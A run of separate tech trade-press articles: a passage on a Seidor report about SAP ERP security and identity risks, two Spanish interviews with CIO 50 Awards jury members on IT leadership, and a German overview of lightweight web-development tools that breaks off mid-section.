Esta desprotección, apunta el informe, “no se explica por una falta de vigilancia”, pues el 90% de las organizaciones analizadas afirma vigilar su entorno SAP de forma permanente. La brecha, señalan los responsables del estudio, aparece en otro punto: “Solo el 12% declara capacidad para detectar a tiempo fraudes o manipulaciones cuando esas amenazas se presentan como una actividad aparentemente legítima dentro del propio ERP, en lugar de como un ataque evidente”, relata.

El eslabón más débil: la identidad digital

El informe apunta que las nuevas amenazas sobre SAP se diferencian por su capacidad para actuar dentro de la operativa diaria. En este sentido, pueden sostenerse sobre usuarios aparentemente válidos, permisos existentes, cambios en datos críticos o peticiones que parecen proceder de una identidad legítima. “Por eso, el riesgo ya no se limita a accesos no autorizados o acciones bloqueadas por el sistema, sino que puede aparecer en operaciones permitidas que no responden al contexto del negocio”, indica el informe.

Una dificultad que se agrava con la inteligencia artificial ofensiva, que es percibida por el 66% de las organizaciones como un riesgo “relevante o muy importante” para su entorno SAP, al hacer más verosímiles los intentos de suplantación, fraude o manipulación. “En este escenario, la defensa del ERP exige reforzar la gobernanza de la identidad digital: quién accede, con qué permisos, qué operación ejecuta y si esa acción tiene sentido dentro del contexto de negocio”, recomienda el equipo de Seidor.

Por otro lado, el informe subraya que la protección del ERP ya no puede depender solo de alertas individuales. “Las empresas necesitan una lectura más completa de la identidad, los privilegios y la actividad dentro de SAP: quién accede, qué permiso utiliza, qué dato modifica, qué operación ejecuta y en qué momento lo hace”, reza el estudio.

Aumento de la inversión en seguridad SAP

La buena noticia es que el 74% de las organizaciones consultadas dicen que aumentarán su inversión en ciberseguridad SAP en los próximos 12 meses, un dato que, según los autores del informe “confirma que las empresas son conscientes del riesgo”. El reto, según estos, está “en dirigir bien esa inversión: aumentar el presupuesto no garantiza por sí solo una mayor protección si no se orienta a las capacidades adecuadas.

Las prioridades, según los autores del informe, deben ser “reforzar el control sobre la identidad digital y los privilegios, conectar la información de SAP con la seguridad general de la empresa, detectar patrones concretos de fraude o manipulación y poder reconstruir un incidente con evidencias claras”.

Ingeniero, exdirectivo bancario de primerísimo nivel, académico español… Sin duda, José María Fuster van Bendegem es uno de los perfiles más polifacéticos e interesantes del escenario de la tecnología, la empresa y la ciencia en España. Conocido por haber sido, en el pasado, uno de los CIO más relevantes no solo de España sino del mundo, al liderar la transformación tecnológica global de Banco Santander, y por haber sido miembro de varios consejos de administración, como el Banco Español de Crédito, el Banco Santander UK, el Banco Santander Alemania, el Banco Santander USA, Sistemas 4B, Openbank (donde fue presidente) y Universia, Fuster ha destacado, en los últimos años, por una intensa labor científica.

De hecho, tras dejar el sector bancario, el ejecutivo dio un giro de 180 grados a su carrera y se reorientó hacia la ciencia teórica, la epistemología y el apoyo a las instituciones científicas, creando la Fundación Sicómoro, una institución privada sin ánimo de lucro de la que es presidente y que está enfocada en investigar la Teoría de Sistemas y entender la empresa y la sociedad como Sistemas Complejos Adaptativos. Además, Fuster es Académico de Honor de la Real Academia de Ciencias Exactas, Físicas y Naturales de España, como reconocimiento a su labor de mecenazgo y a su esfuerzo por estrechar los lazos entre la ciencia avanzada y la sociedad civil. El experto también ha tenido un papel relevante en el ecosistema emprendedor vinculado a la innovación. Hasta 2021 fue fundador y presidente de la sociedad de capital riesgo Chamberí Ventures y también fundador y CEO de Ecosistemas de Innovación Digitales.

Este ingeniero superior aeronáutico por la Universidad Politécnica de Madrid, Máster Universitario en Epistemología de las Ciencias Naturales y Sociales por la Universidad Complutense de Madrid, Máster en Dirección Financiera y Control por el Instituto de Empresa y Doctor en Filosofía por la Universidad Complutense de Madrid, forma este año parte del jurado de los próximos CIO 50 Awards, la convocatoria de premios de referencia en el país que persigue distinguir a los mejores directivos de sistemas de información (CIO) y los proyectos de TI más innovadores. Los ‘Oscar de la industria de TI’, como se les conoce en todo el mundo, forman parte del proyecto global CIO Awards de la publicación internacional CIO del grupo editorial Foundry. El próximo 30 de junio finaliza el plazo de recepción de candidaturas a estos premios que se entregarán el 8 de octubre en Madrid.

Ante la próxima celebración de los galardones, el experto comparte por escrito con CIO ESPAÑA su visión sobre el liderazgo tecnológico y las claves que, a su juicio, distinguen a las organizaciones que convierten la innovación en resultados tangibles.

Tras una trayectoria tan vinculada a la tecnología y la innovación, ¿qué valor aporta una visión científica al evaluar estas candidaturas?

Para poder contestar a esta pregunta, voy a asumir que una evaluación es objetiva si utiliza criterios observables, medibles y comparables. En tal caso, la primera ventaja que me viene a la mente es que la objetivación reduce sesgos personales y mejora la equidad. Aunque, si aceptamos la validez de la célebre afirmación de Nietzsche de que “no hay hechos, solo interpretaciones, y esta afirmación es también una interpretación” tendríamos que la objetividad absoluta no existe, lo que es innegable es que, para el caso que nos ocupa, la reducción de sesgos subjetivos es evidente.

Si consideramos, como ejemplo, evaluar 50 candidaturas por 10 jueces, basados en el juicio de cada miembro del jurado, dado que cada juez introduciría sus sesgos y prejuicios en cada evaluación, tendríamos 500 casos difícilmente comparables. La evaluación basada en criterios comunes tendría, sin duda, el sesgo representado por los propios criterios de evaluación, pero ese sesgo sería común para todos los participantes, por lo que no atentaría a la equidad. El sesgo del jurado sería de segundo orden, relativo a la interpretación de los criterios, que sería único para cada juez. En definitiva, tendríamos una posible dispersión de criterios producto de 10 distintas interpretaciones, mitigadas en su impacto por ser de segundo orden.

Parece incuestionable que una dispersión de 500 casos de primer orden tiene una probabilidad mucho más alta de atentar a la equidad que una dispersión de 10 casos de segundo orden. Tendríamos un criterio más replicable y verificable, de modo que distintos evaluadores tenderían a llegar a resultados más consistentes. No hay duda de que un juicio experto de calidad, en contra las valoraciones objetivas, es más apropiado para captar la singularidad. Pero dado el número de candidaturas que se manejan, la ventaja de la equidad supera con creces la posible injusticia de no captar un caso singular por no acudir al juicio experto que, no se nos oculta, exigiría la máxima excelencia en la selección de los jueces.

¿Qué aprendizajes de su propia experiencia como CIO de grandes compañías aplica al evaluar las candidaturas?

En mi caso particular, el criterio que he adoptado es tratar de ceñirme al máximo al método objetivo definido para este concurso. Mi experiencia resulta especialmente útil para entender bien el método seleccionado, ya que los conceptos subyacentes me resultan no sólo conocidos, sino también, familiares.

 

¿Qué importancia tiene la capacidad de una organización para convertir conocimiento en resultados tangibles?

Voy a partir de los conceptos definidos por el Santa Fe Institute, que es una institución dedicada al estudio de la complejidad y los sistemas complejos. Toda organización se puede conceptualizar como un sistema complejo adaptativo que tiene un “propósito” que va acompañado de un objetivo implícito que podríamos denominar “supervivencia del sistema”.  El conocimiento en una organización, ya sea formal o informal, resulta esencial tanto para conseguir el propósito, como para asegurar la continuidad de la organización en el tiempo, lo que requiere extender el conocimiento más allá de la propia organización, buscando la comprensión del entorno y su dinámica para poder asegurar la adaptación al mismo.

Lo anterior exige construir métricas, más allá de las puramente financieras, para poder gestionar mejor la organización a lo largo del tiempo; esas métricas constituyen la base para lo que podemos llamar “resultados tangibles” si y solo si se incorporan en los sistemas de gestión y la cultura de la organización.

No hay duda de que conseguir todo esto constituye un objetivo esencial para todo CIO que se precie, aunque es evidente que trasciende su papel, pues conseguir el propósito y preservar la organización son asuntos que conciernen a toda la organización en su conjunto.

¿Cómo distingue una innovación puntual de una transformación con impacto sostenido?

En las organizaciones se produce una considerable confusión entre los conceptos de innovación, mejora continua, gestión del cambio y transformación. La propia pregunta lleva implícita esta confusión. Si innovar presupone hacer algo nuevo, de una manera distinta, nos damos cuenta de que una sistemática de mejora continua puede, o no, incluir innovaciones. Por otra parte, poner en marcha cualquier mejora supone implantar cambios, es decir, siempre requiere una gestión del cambio. Además, una sistemática de mejora continua extendida en el tiempo puede resultar profundamente transformadora, aunque esté basada en la acumulación de múltiples pequeños cambios, algunos innovadores y otros no.

Así pues, tenemos que recurrir a otro concepto para poder responder a esta pregunta que es el de la “escala”. Hablamos de transformación cuando pretendemos cambiar la organización completa o un subconjunto importante de ella, independientemente del método que usemos para realizarla. Para que una transformación se pueda considerar exitosa debe producir impactos sostenibles en el tiempo a escala de la organización. La transformación siempre requiere una gobernanza “top down”.

Las innovaciones, incluso las mejoras puntuales, siempre estarán referida a una escala pequeña de la organización. Generalmente son resultado de una dinámica “bottom up”. Solo pueden producir impacto a escala completa si formaran parte de una estrategia de mejora continua que busque la acumulación de muchos cambios puntuales de manera sistemática a lo largo del tiempo y extendida a todas las partes de la organización afectada.

¿Qué tecnologías o tendencias le gustaría ver reflejadas en las candidaturas de los próximos años?

En un plano estrictamente tecnológico, creo que hay que prestar especial atención a las cuestiones siguientes: hibridación de clouds, buscando tanto evitar dependencias catastróficas para el futuro de la empresa, como asegurar mecanismos que protejan la eficiencia futura y eviten mecanismos de lock-in con un elevado coste potencial a futuro; definición de arquitecturas que hagan posible el despliegue de la IA agentiva, incorporando modelos avanzados de monitorización y control; y la utilización de los LLM para el desarrollo de sistemas avanzados. La clave aquí es ser capaz de utilizar el lenguaje natural para incorporar en las soluciones parte de la inteligencia informal que tienen todas las organizaciones.

¿Qué papel cree que juega la inteligencia artificial en las estrategias tecnológicas más avanzadas?

La inteligencia artificial debe comprenderse como una fase más del proceso de digitalización que comenzó la segunda década del siglo XX. La madurez del software basado en redes neuronales ha sido posible gracias al extraordinario incremento de la capacidad de computación, el desarrollo de las redes de comunicaciones digitales, la explosión de datos que recogen conocimiento en formato digital y el desarrollo del software.

Si la entendemos así, resulta tan inevitable como fueron los ordenadores personales a finales del siglo pasado o la Internet a comienzos del siglo XXI. Lo que estamos viviendo es la emergencia de una dimensión digital que se va haciendo omnipresente en nuestras vidas y que está redefiniendo todos los procesos económicos y sociales de una forma que aún no acabamos de captar de manera plena.

Para cualquier organización, la emergencia de esta nueva dimensión a escala planetaria hace aún más importante y urgente incorporar en sus estrategias una quinta dimensión, adicional a las definidas por el espacio y el tiempo, que podemos denominar “dimensión digital” y que viene a complicar (no a simplificar) la formulación de los planes. La razón para ello es que un mundo con cinco dimensiones es mucho más complejo que un mundo con cuatro, considerando además que las restricciones físicas operan de manera distinta en las cuatro dimensiones clásicas respecto a la dimensión digital.

¿Qué tipo de proyectos cree que marcarán la referencia del liderazgo tecnológico en los próximos años?

Tradicionalmente, los CIO operábamos en el marco de modelos de negocio estables que hacían posible concentrar nuestros esfuerzos en mejorar los procesos clave definidos por estos modelos de negocio. Podríamos decir que estábamos concentrados en mejorar las propuestas de valor, haciéndolas más atractivas, robustas, eficientes y mejorando su calidad con un marco conceptual relativamente estable.

Primariamente, se utilizaba información estructurada para realizar procesos que podríamos calificar como internos de la organización, sobre los que se ejercía un completo control. En el futuro veremos el desarrollo de procesos que serán partes de redes débilmente acopladas donde se ejercerá tan sólo un control parcial. El desarrollo de redes hará posible nuevos modelos de nodos y relaciones que dificultarán la estabilidad de los modelos de negocio.

 La información no estructurada será cada vez más importante gracias a las posibilidades que ofrece la IA de capturar conocimiento no formalizado, y se producirá una tendencia creciente a compartir información, no necesariamente voluntaria, sino forzada por la presión competitiva y la búsqueda de mejoras de productividad y eficiencia.

¿Qué mensaje enviaría a los CIO que aspiran a liderar la próxima generación de transformación digital?

En primer lugar, se hace necesario reconocer un incremento de la complejidad, tanto en el panorama competitivo de las empresas, como en la enorme cantidad de opciones tecnológicas disponibles, y la creciente dificultad de acceder a talento adecuado para el reto que se presenta.

Dicho esto, un CIO que aspire a liderar la próxima generación de transformación tecnológicas debería trabajar los aspectos siguientes: un profundo conocimiento del sector en el que opera su empresa y los modelos de negocio exitosos en el mismo; un profundo conocimiento de las tecnologías disponibles y sus condiciones de uso; la capacidad de definir los distintos niveles de arquitectura necesarios en su organización así como comprender su madurez y evolución futura; y la flexibilidad para orquestar soluciones, seleccionando los componentes adecuados y combinándolas de manera única para satisfacer las exigencias de los modelos de negocio perseguidos.

“El problema de gobernar de manera integrada las demandas de la tecnología requiere una comprensión y compromiso de la alta dirección que, en muchos casos, no se produce, haciendo muy difícil la entrega de valor por parte del CIO”

¿Qué tres decisiones estratégicas definen realmente la calidad de un CIO?

Primero, hay que ser consciente de que el rol primario de un CIO es operativo. En toda organización, las tecnologías de la información deben facilitar la eficiencia económica (más ingresos/ menos costes) y la calidad del funcionamiento, todo ello en un marco controlado de riesgo operacional. La incardinación en la estrategia de la empresa se basa en el hecho de que las tecnologías de la información han ido incrementando su peso en las estrategias empresariales de todo el mundo. La forma en la que el CIO puede contribuir al plan estratégico de la empresa es formulando arquitecturas robustas que lo faciliten.

Las tres decisiones estratégicas más importantes, estarían relacionadas con las tres arquitecturas fundamentales que debe definir una empresa avanzada, partiendo siempre de un marco de negocio bien definido: arquitectura de sistemas, que define el modelo de sistemas clave de la empresa, que hagan posible desarrollar sus procesos, tanto internos como externos y sus métricas clave de gestión; arquitectura de datos, donde se defina cuáles son los datos que constituyen una ventaja competitiva clave para la empresa, ya sean internos o externos y como convertirlos en un activo intangible; y arquitectura tecnológica, que refiere a la combinación de hardware, software y comunicaciones más óptima para operar los planes de la empresa.

Estas decisiones deben ir acompañadas por una reflexión sobre qué capacidades debe construir la empresa, cuales requieren socios estratégicos y cuales son externalizables, buscando optimizar proveedores.

Un CIO que no comprenda la necesidad de definir estas arquitecturas e incardinarlas en la estrategia de la empresa se verá arrastrado, en poco tiempo, a una dinámica compleja de priorización de demandas crecientes dominadas por la presión del día a día.

 

¿Qué error estratégico ves repetirse en muchos CIO hoy?

Un típico error es reducir la función del CIO a la del CTO, rehuyendo la comprensión de los negocios y centrando las conversaciones en cuestiones estrictamente tecnológicas. Al hacer esto, dificulta la conversación con las unidades de negocio. Si el cambio tecnológico es realmente necesario, dificulta la adopción al perderse la pedagogía necesaria. Si el cambio tecnológico no es necesario, o tan sólo es “nice to have”, incurre en el riesgo de sobrearquitecturización o de incremento de complejidad innecesaria de las soluciones.

Otro error muy típico es la ausencia de planificación y gobierno en la gestión de los proyectos. Esto lleva a la creación de una especie de mercado persa de proyectos, que producen una proliferación de demandas, un incremento de costos y el riesgo de producir arquitecturas de tipo “spaghetti” que dificultan y hacen ineficiente la gestión futura de la tecnología. El problema de gobernar de manera integrada las demandas de la tecnología requiere una comprensión y compromiso de la alta dirección que, en muchos casos, no se produce, haciendo muy difícil la entrega de valor por parte del CIO.

“Las competencias más importantes para los líderes tecnológicos serán la capacidad de tomar decisiones bajo presión, liderar en entornos de incertidumbre, gestionar el cambio de forma efectiva y mantener a los equipos comprometidos cuando la presión aumenta”, asegura Patricia Arboleda, presidenta de Women in Tech España y CEO y fundadora de Arboleda Consulting, firma especializada en liderazgo y transformación organizacional. La experta, que atesora más de 25 años de experiencia en el sector tecnológico —desempeñó durante años puestos ejecutivos en Hewlett Packard Enterprise—, en la actualidad asesora a consejeros delegados (CEO), líderes de TI (CIO) y equipos directivos para convertirlos en ejecutivos resilientes, inclusivos y preparados para entornos de cambio acelerado como el actual.

Además, la ejecutiva forma parte este año del jurado de los CIO 50 Awards en España, la convocatoria de premios de referencia en el país que persigue distinguir a los mejores directivos de sistemas de información (CIO) y los proyectos de TI más innovadores. Estos ‘Oscar de la industria de TI’, que forman parte del proyecto global CIO Awards de la publicación internacional CIO del grupo editorial Foundry, se entregarán el 8 de octubre en Madrid. El próximo 30 de junio finaliza el plazo de recepción de candidaturas.

Con motivo de su participación como jurado en los prestigiosos galardones, CIO ESPAÑA ha planteado algunas cuestiones sobre liderazgo y estrategia en TI a Patricia Arboleda, que responde por escrito desde Estados Unidos, donde vive gran parte del año.

Desde su experiencia acompañando y asesorando a líderes tecnológicos, ¿qué características diferencian a los CIO que generan una transformación real de aquellos que se limitan a gestionar la tecnología?

A lo largo de mi carrera, primero como ejecutiva en el sector tecnológico durante más de dos décadas y ahora trabajando con CEO, CIO y equipos directivos, he observado una diferencia muy clara: los CIO que generan una transformación real hablan el lenguaje del negocio antes que el de la tecnología.

La tecnología se ha convertido en un factor estratégico para la competitividad, pero por sí sola no transforma una organización. Lo que marca la diferencia es la capacidad de conectar las inversiones tecnológicas con crecimiento, innovación, productividad y generación de valor. Los CIO más influyentes que conozco no esperan a ser invitados a las conversaciones estratégicas; forman parte de ellas. Entienden hacia dónde va el mercado, anticipan riesgos, identifican oportunidades y ayudan a sus organizaciones a prepararse para escenarios cada vez más complejos.

En un contexto marcado por la inteligencia artificial, las tensiones geopolíticas, la ciberseguridad y la velocidad del cambio, el papel del CIO está evolucionando rápidamente. Hoy se espera que sea un líder empresarial con una sólida comprensión de la tecnología, no únicamente un experto en tecnología.

Como miembro del jurado de los CIO 50 Awards que la publicación CIO ESPAÑA organiza este año, ¿qué señales le indican que una candidatura refleja un liderazgo sólido y una visión estratégica más allá de los resultados del proyecto?

Los resultados son importantes, pero rara vez cuentan toda la historia. Cuando reviso una candidatura me interesa entender qué ha cambiado realmente en la organización gracias a ese liderazgo. ¿Se han desarrollado nuevas capacidades? ¿La organización es ahora más ágil? ¿Toma mejores decisiones? ¿Está mejor preparada para afrontar el futuro?

También me fijo mucho en la capacidad de influir más allá del área tecnológica. Las transformaciones más exitosas que he visto nunca han sido responsabilidad exclusiva de TI. Requieren colaboración, alineamiento y la capacidad de movilizar a personas con prioridades muy distintas.

Hay algo que suelo buscar especialmente: la evidencia de que el líder ha dejado una huella duradera en la organización. Los proyectos terminan. El liderazgo, cuando es sólido, sigue generando impacto mucho después de que el proyecto haya concluido.

“La conversación sobre diversidad ha cambiado profundamente en los últimos años. Ya no se trata únicamente de representación. Se trata de competitividad”

Desde la perspectiva de Women in Tech, ¿cómo pueden los CIO contribuir a construir organizaciones más diversas, inclusivas y preparadas para el futuro?

Creo que la conversación sobre diversidad ha cambiado profundamente en los últimos años. Ya no se trata únicamente de representación. Se trata de competitividad. Como Presidenta de Women in Tech España tengo la oportunidad de colaborar con empresas, instituciones y líderes tecnológicos que comparten una preocupación común: cómo atraer y desarrollar el talento que necesitarán en los próximos años. La realidad es que existe una enorme escasez de talento tecnológico a nivel global. Si queremos que nuestras organizaciones sigan innovando, no podemos permitirnos dejar fuera una parte significativa del talento disponible.

Los CIO tienen una enorme capacidad de influencia en este ámbito. Pueden cuestionar procesos tradicionales de selección, impulsar programas de desarrollo, fomentar culturas más inclusivas y, sobre todo, convertirse en referentes para nuevas generaciones de profesionales que están decidiendo hoy si quieren construir una carrera en tecnología.

Las organizaciones más preparadas para el futuro serán aquellas que logren atraer perspectivas diversas y convertirlas en innovación, creatividad y mejores decisiones de negocio.

En un contexto marcado por la inteligencia artificial y la aceleración del cambio, ¿qué nuevas competencias considera imprescindibles para los líderes tecnológicos?

Esta es probablemente la conversación que más estoy teniendo con líderes actualmente. Como CEO y fundadora de una firma de consultoría especializada en transformación del liderazgo, desarrollo de talento y neurociencia aplicada al desempeño, trabajo con organizaciones que están intentando adaptarse a un ritmo de cambio que, en muchos casos, no tiene precedentes.

Y hay una conclusión que aparece una y otra vez: el mayor desafío no es tecnológico, es humano. La inteligencia artificial está transformando funciones, procesos y modelos de negocio. Sin embargo, las organizaciones que están obteniendo mejores resultados no son necesariamente las que adoptan antes una tecnología, sino aquellas cuyos líderes y equipos son capaces de adaptarse más rápido al cambio.

“El mayor desafío no es tecnológico: es humano”

Por eso creo que las competencias más importantes para los líderes tecnológicos serán la capacidad de tomar decisiones bajo presión, liderar en entornos de incertidumbre, gestionar el cambio de forma efectiva y mantener a los equipos comprometidos cuando la presión aumenta.

Lo veo constantemente en mi trabajo. Muchos líderes se enfrentan a una paradoja: tienen más información que nunca y, sin embargo, deben tomar decisiones cada vez más complejas y en menos tiempo. A eso se suma la necesidad de mantener equipos motivados, resilientes y enfocados en medio de una transformación permanente.

La inteligencia artificial seguirá evolucionando a gran velocidad. El liderazgo humano, la capacidad de generar confianza, desarrollar talento y ayudar a las personas a navegar la incertidumbre serán los verdaderos diferenciadores.

¿Qué consejo daría a los profesionales que aspiran a convertirse en referentes de liderazgo tecnológico y, algún día, ser reconocidos en los CIO 50 Awards?

Les diría que no limiten su desarrollo profesional a la tecnología. Los mejores líderes tecnológicos que he conocido entienden profundamente el negocio, saben construir relaciones de confianza y son capaces de influir mucho más allá de su ámbito de responsabilidad.

También les recomendaría desarrollar una visión amplia del entorno. Hoy las decisiones tecnológicas están condicionadas por factores económicos, regulatorios, geopolíticos y sociales que hace apenas unos años tenían un impacto mucho menor. Y, quizá el consejo más importante, que nunca dejen de invertir en las personas. La tecnología cambia constantemente. Lo que permanece es la capacidad de construir equipos sólidos, desarrollar talento y crear organizaciones capaces de aprender más rápido que su competencia. Al final, los líderes que dejan huella no son recordados por las herramientas que implementaron. Son recordados por las organizaciones que ayudaron a construir y por las personas a las que ayudaron a crecer.

In der Webentwicklung gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von schwerfälliger Komplexität befreit werden. Wie das funktionieren kann, zeigen die acht Tools, die wir Ihnen in diesem Beitrag vorstellen.

Diese zeichnet aus, dass sie sich (größtenteils) mit alternativen Ansätzen befassen, die das Bewährte in Frage stellen. Auch wenn Sie die hier vorgestellten Lösungen nicht direkt für Ihre Zwecke einsetzen können, lohnt es sich also dennoch, sie im Auge zu behalten.

1. Astro

Wenn man eine Gruppe klassischer Musiker mit Noten in einen Raum setzt und sie einfach spielen lässt, könnte das Ergebnis ein stimmiges Stück sein. Wahrscheinlich braucht es aber einen Dirigenten, der alles koordiniert. In Zusammenhang mit Frontend-Frameworks ist Astro genau das – ein Maestro.

Astro kümmert sich um die „Hydration“ des Frontends, also den Prozess, die Shell reaktiv zu machen. Beim konventionellen Server-Side Rendering (SSR) sendet der Server nicht nur den HTML-Code, sondern auch die riesige Framework-Runtime über das Netzwerk – nur um der Seite Event-Listener hinzuzufügen. Mit Astro ist es möglich, Komponenten in React, Svelte, Vue oder Solid zu schreiben – der Compiler des Tools entfernt dabei das gesamte JavaScript, bevor es den Browser erreicht. Astro liefert standardmäßig Zero JS aus und verlässt sich auf seine „Island Architecture“, um nur die spezifischen Komponenten zu hydrieren, die Interaktivität erfordern.

Da Astro die Interaktivität in separaten „Inseln“ isoliert, ist es im Vergleich zu einer monolithischen Single-Page-Anwendung grundsätzlich schwieriger, komplexe States (etwa eine komplexe Seitenleiste mit Filterfunktion, die mit einem separaten dynamischen Data Grid kommuniziert) zwischen diesen Inseln zu teilen. Wenn Sie eine hochgradig interaktive, Dashboard-lastige Applikation entwickeln, in der jede Komponente die andere beeinflusst, könnten sich die isolierten Inseln eher nach Zwangsjacke als nach Befreiung anfühlen.

Auch interessant: Qwik. Während Astro verschlankt, indem es den JavaScript-Code vollständig entfernt, setzt Qwik auf Verzögerung: Es liefert sofort HTML und serialisiert den Anwendungsstatus. Dabei wird nur der für eine bestimmte Interaktion erforderliche JavaScript-Code genau in der Millisekunde heruntergeladen und ausgeführt, in der der User auf die entsprechende Schaltfläche klickt.

2. Biome

Rust ersetzt nach und nach die zugrundeliegende Infrastruktur im JavaScript-Ökosystem. Das verleiht dem Biome-Tool seine Hardware-ähnliche Geschwindigkeit. Das Alleinstellungsmerkmal dieses Dev-Werkzeugs ist es allerdings, die weitläufige Webentwicklungs-Toolchain zu vereinheitlichen.  

Wenn die .eslintrc– und .prettierrc-Dateien sowie die Dutzenden zugehörigen Plugins in Ihrem Projekt bereits zu einem dunklen, unzufriedenstellenden Sumpf verkommen sind, ist Biome der Ausweg: Das Tool besteht aus einer einzelnen Binary, die komplett verworrene Foramtierungs- und Linting-Ökosysteme substituiert – und damit einen Weg zu Codequalität eröffnet, der ganz ohne ein weit verzweigtes Netz von Abhängigkeiten auskommt. 

Der wohl größte Nachteil von Biome ist dabei gleichzeitig auch das Feature, das das Tool so schlank macht: Die Erweiterbarkeit geht verloren.

Auch interessant: Rspack. Biome bereinigt das Linting, Rspack entschlackt den Build-Schritt. Auch dieses Tool basiert auf Rust für mehr Geschwindigkeit. Dabei nutzt es – etwa im Gegensatz zu Vite – den „bundled“ Dev-Modus.

3. Bun

Die meisten gut informierten JavaScript-Enthusiasten dürften längst mit Bun vertraut sein. Wenn Sie die faszinierende Kombination aus All-in-One-Lösung und atemberaubender Geschwindigkeit noch nicht selbst erlebt haben, wird es Zeit.

Wenn Sie an Node gewöhnt sind und Bun ausprobieren, werden Sie sehr wahrscheinlich sofort davon beeindruckt sein, wie schnell Befehle ausgeführt werden. Das Bun-Team hat zudem über mehrere Jahre hinweg umfangreiche Anstrengungen unternommen, um seine Engine eng an die APIs von Node anzupassen. Das macht Bun zu einer außergewöhnlichen technischen Errungenschaft, die jeder JavaScript-Entwickler zumindest explorieren sollte.

Obwohl Buns Zig-basierte Engine in vielerlei Hinsicht ein direkter Ersatz für Node ist: Sie ist nicht perfekt – insbesondere angesichts der gigantischen Anzahl von Node-Packages, die existieren. Deshalb bleibt Node auch die beste bewährte, konservative, Engine für serverseitiges JavaScript.

Auch interessant: Deno. Bun hat sich zwar zu Recht einen Ruf als innovatives Tool erarbeitet – allerdings wurde Deno still und leise um eine Reihe attraktiver Enterprise-Funktionen ergänzt – etwa eine integrierte Bereitstellungsplattform und das Frontend-Framework Deno Fresh.

4. HTMX

Wenn es um smarte Wege geht, das Web zu vereinfachen, könnte man HTMX durchaus als Paradebeispiel anführen. Das Projekt greift die Kernmechanismen moderner Web-Clients wie Ajax sowie partielle Aktualisierungen auf und wandelt diese in einfache HTML-Attribute um. Das hat zur Folge, dass der State ausschließlich auf dem Server gespeichert wird, der dafür zuständig ist, die HTMX-Fragmente zu senden.

Natürlich läuft das nicht ohne Kompromisse ab. Einer ist die extreme Abhängigkeit vom Netzwerk: Da es keine Client-seitige State Machine gibt, ist der Browser ohne Verbindung zum Server hilflos. Es sei denn, Sie wagen sich an Experimente mit einem „local-first“-Data Store. Kurz gesagt: Wenn Ihre App in den Anwendungsbereich von HTMX fällt, ist HTMX wahrscheinlich der direkteste „RESTful-Weg“, um diese zu erstellen.

Auch interessant: Hotwire. Als Tool-Sammlung, um Single-Page-Anwendungen unter Verwendung von HTML über das Netzwerk zu erstellen, verfügt Hotwire über großartige Funktionen wie Page Morphing. Getreu der klassischen „Free as in Speech“-Softwarekultur werden Ideen zwischen den Projektverantwortlichen von HTMX und Hotwire ausgetauscht.

5. PowerSync

Auch wenn die „Local-First“-Datenrevolution, für die PowerSync steht, einen ausgiebigen technischen Deepdive erfordert: Der Kernansatz besteht darin, die Art und Weise, wie Daten in der Webarchitektur fließen, grundlegend neu zu gestalten. Das sollte jeder Webentwickler im Blick behalten.  

Normalerweise erstellen Entwickler Architekturen, die eine komplexe Middleware erfordern. Diese fungiert als Vermittler zwischen einem reaktiven Client und dem Data Store. Die radikale Alternative mit PowerSync: Der Broker wird komplett umgangen, indem eine SQLite-Wasm-Datenbank direkt in den Browser integriert wird. Die Benutzeroberfläche arbeitet dabei synchron mit lokalen Daten unter Verwendung von SQL, die Latenzzeit beträgt null. Der gefürchtete Ladekreisel wird damit vollständig eliminiert. Im Hintergrund gleicht PowerSync den lokalen Speicher automatisch mit der zentralen Postgres-Datenbank ab. Das Tool händelt die komplexen Synchronisierungs-Algorithmen und Netzwerkschwankungen und macht Ihre Anwendung damit effektiv „offline-first“ – per Default.

Der Haken ist dabei, dass ein „Local-First“-Entwicklungsansatz eine massive Umstellung erfordert: Sie müssen Data Slices (ähnlich einer View) definieren, die jeder Client-User vorhält. Die PowerSync-Engine übernimmt zwar auch hierbei den Großteil der Arbeit, aber Dinge wie Schemamigrationen und Konfliktlösungen (wenn zwei Benutzer denselben Datensatz offline bearbeiten) erfordern ein deutlich aufwendigeres Setup als eine Standard-REST-API.

Auch interessant: RxDB. Dieses Tool ist eine etwas andere Variante eines „Local-First“-Datenspeichers. Während PowerSync stark auf Postgres, SQLite und Hintergrund-Daemons setzt, bietet RxDB eine NoSQL-, „Offline-First“- und reaktive Datenbank. Diese behandelt Queries als „observable“ Streams und führt UI-Aktualisierungen genau in der Millisekunde durch, in der sich die lokalen Daten ändern.

6. RooCode

Der wesentliche Vorteil von RooCode ist, dass es sämtliche Ihrer KI-Anbieter koordinieren kann – und zwar kostenlos. Bei dem Tool handelt es sich um eine Erweiterung für Visual Studio Code, die einen „AI Manager Layer“ bereitstellt. Dieser schlägt eine Brücke zwischen den allgemeinen Fähigkeiten des LLM und den Code-spezifischen Strukturen auf Projektebene.

Dabei erreicht RooCode zwar nicht die Performanz von Tools wie Cursor oder Antigravity – ist aber durchaus in der Lage, die meisten kleinen bis mittelgroßen Requests zu bewältigen. Und das mit einem Minimum an unnötigem Overhead: RooCode hält Sie fern von proprietären Ökosystemen und ermöglicht auch, eigene API-Keys einzubinden – von Anthropic, OpenAI oder auch lokalen Modellen, die auf der eigenen Hardware laufen.

Die versteckten Kosten bestehen – wie bei jedem KI-Coding-Assistenten – darin, dass das Tool die Rolle des Entwicklers vom Code-Autor zum -Redakteur verschiebt.

Auch interessant: Antigravity. RooCode ist eine leichtgewichtige Erweiterung, die Ihre bestehende Umgebung aufwertet. Googles Antigravity ist hingegen ein maßgeschneiderter Editor, der von Grund auf mit Fokus auf KI entwickelt wurde und deshalb auch für Agentic-AI-Workflows konzipiert ist.

7. TanStack Query

Selbst wenn Client-seitiges State Management kein Problem mehr darstellt (siehe nächstes Tool), bleibt eine große Lücke bestehen: die Synchronisierung über die Servergrenze hinweg. An diesem Punkt kommt TanStack Query ins Spiel. Distributed Computing ist ein notorisch heikles Problem. Standardmäßige reaktive Modelle speichern den State sowohl auf dem Client als auch auf dem Server. Diese inhärente architektonische Reibung versucht TanStack Query abzumildern, indem es als intelligente asynchrone Schicht fungiert.

